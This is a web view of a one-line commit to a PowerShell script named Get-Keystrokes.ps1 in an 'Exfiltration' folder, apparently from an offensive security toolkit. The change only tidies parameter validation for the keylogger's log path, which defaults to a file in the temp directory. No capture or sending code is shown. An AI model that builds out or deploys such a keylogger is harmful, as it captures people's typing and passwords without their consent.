aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/Get-Keystrokes.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration/Get-Keystrokes.ps1')
-rw-r--r--Exfiltration/Get-Keystrokes.ps12
1 files changed, 1 insertions, 1 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index 9e8698c..47761b9 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -40,7 +40,7 @@ function Get-Keystrokes {
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
- [ValidateScript({(Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container)})]
+ [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
[String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]